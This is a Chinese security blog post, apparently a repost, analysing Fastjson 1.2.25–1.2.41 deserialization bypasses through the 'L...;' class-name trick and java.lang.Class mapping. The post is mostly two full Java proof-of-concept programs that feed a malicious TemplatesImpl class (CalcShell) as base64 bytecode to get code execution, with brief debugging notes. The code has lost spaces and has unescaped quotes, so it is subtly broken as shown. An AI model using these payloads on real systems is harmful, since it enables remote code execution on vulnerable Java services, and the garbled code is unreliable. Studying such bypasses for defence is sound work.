Fastjson1.2.25-1.2.41反序列化利用

admin 2025年2月12日23:02:19评论5 views字数 4333阅读14分26秒阅读模式

书接上文我们继续分析fastjson

Fastjson1.2.24反序列化利用

自1.2.25起autotype默认为false。

AutoType为false时只允许白名单的类,但白名单默认是空的,所以该状态不会反序列化任何类。

AutoType为true时是基于内置黑名单来实现安全的。

手动开启autoType需要在反序列化前添加代码:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

开启后直接打1.2.24的poc失败了,调试后发现是存在增加了一个黑名单,把之前用的JdbcRowSetImplTemplatesImpl都给ban了

Fastjson1.2.25-1.2.41反序列化利用

一种办法是在类名前面和后面添加L;,下面来分析一下为什么

package org.example.fastjson;  

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.JSONObject;  
import com.alibaba.fastjson.parser.Feature;  
import com.alibaba.fastjson.parser.ParserConfig;  

import java.io.ByteArrayOutputStream;  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.IOException;  
import java.util.Base64;  

publicclassFastjsonWithSpringEchoTemplates{  
publicstaticvoidmain(String[] args)throws IOException {  
        String shell = null;  
        shell = FiletoBase64("D:\code\javaProject\JavaSecurity\src\main\java\org\example\fastjson\CalcShell.class");  
        String payload1 = " {"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;","_bytecodes":[""+shell+""],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}";  
        System.out.println(payload1);
        System.out.println(JSON.VERSION);  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
        JSONObject obj = JSON.parseObject(payload1, Feature.SupportNonPublicField);  
//        JSONObject obj = JSON.parseObject(payload1, new Feature[]{Feature.SupportNonPublicField});  
        System.out.println(obj);  
    }  

publicstatic String FiletoBase64(String filename)throws IOException {  
        File file = new File(filename);  
        FileInputStream io = new FileInputStream(file);  
        ByteArrayOutputStream os = new ByteArrayOutputStream();  
byte[] buf = newbyte[10240];  
int len;  
while ((len = io.read(buf)) > 0) {  
            os.write(buf, 0, len);  
        }  
        io.close();  
        String s = Base64.getEncoder().encodeToString(os.toByteArray());  
return s;  
    }  
}

在进入checkAutoType方法时,typeName是上送添加L;的类名,假设手动开启了autoTypeSupport,可以带着typeName进入TypeUtils.loadClass

Fastjson1.2.25-1.2.41反序列化利用

跟进loadClass可以看到通过substring去掉开头结尾的L;,然后直接load新class

Fastjson1.2.25-1.2.41反序列化利用

checkAutoType函数最后当autoTypeSupport为true时可直接返回去掉L;的类

Fastjson1.2.25-1.2.41反序列化利用

return到DefaultJSONParserreadObject里,继续往下执行到fastjson.parser.deserializer.JavaBeanDeserializerdeserializer.deserialze即可执行恶意类

Fastjson1.2.25-1.2.41反序列化利用

那么如果代码里checkAutoType没有手动开启呢,就要换另一种打法,用java.lang.Class添加到mapping里欺骗白名单

package org.example.fastjson;  

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.JSONObject;  
import com.alibaba.fastjson.parser.Feature;  
import com.alibaba.fastjson.parser.ParserConfig;  

import java.io.ByteArrayOutputStream;  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.IOException;  
import java.util.Base64;  

publicclassFastjsonWithSpringEchoTemplates{  
publicstaticvoidmain(String[] args)throws IOException {  
        String shell = null;  
        shell = FiletoBase64("D:\code\javaProject\JavaSecurity\src\main\java\org\example\fastjson\CalcShell.class");  
        String payload1 = " {"@type":"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;","_bytecodes":[""+shell+""],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}";  
        String payload = "{"a": {"@type": "java.lang.Class", "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}, "b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":[""+shell+""], "_name": "aaa", "_tfactory": { }, "_outputProperties": { }}}";  
//        System.out.println(payload1);  
        System.out.println(JSON.VERSION);  
//        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
//        Object parse = JSON.parse(payload);  
        JSONObject obj = JSON.parseObject(payload, Feature.SupportNonPublicField);  
//        JSONObject obj = JSON.parseObject(payload1, new Feature[]{Feature.SupportNonPublicField});  
        System.out.println(obj);  
    }  

publicstatic String FiletoBase64(String filename)throws IOException {  
        File file = new File(filename);  
        FileInputStream io = new FileInputStream(file);  
        ByteArrayOutputStream os = new ByteArrayOutputStream();  
byte[] buf = newbyte[10240];  
int len;  
while ((len = io.read(buf)) > 0) {  
            os.write(buf, 0, len);  
        }  
        io.close();  
        String s = Base64.getEncoder().encodeToString(os.toByteArray());  
return s;  
    }  
}

通过第一层的嵌套利用java.lang.Class不在黑名单的特性将TemplatesImpl类加进mapping里,第二次再从TypeUtils.getClassFromMapping直接取出这个恶意类

Fastjson1.2.25-1.2.41反序列化利用

后续就没有黑名单校验了,直接带着这个类走前文1.2.24版本的调试流程DefaultJSONParser.parseObject反序列化函数里了

原文始发于微信公众号(智佳网络安全):Fastjson1.2.25-1.2.41反序列化利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月12日23:02:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson1.2.25-1.2.41反序列化利用http://cn-sec.com/archives/3729321.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息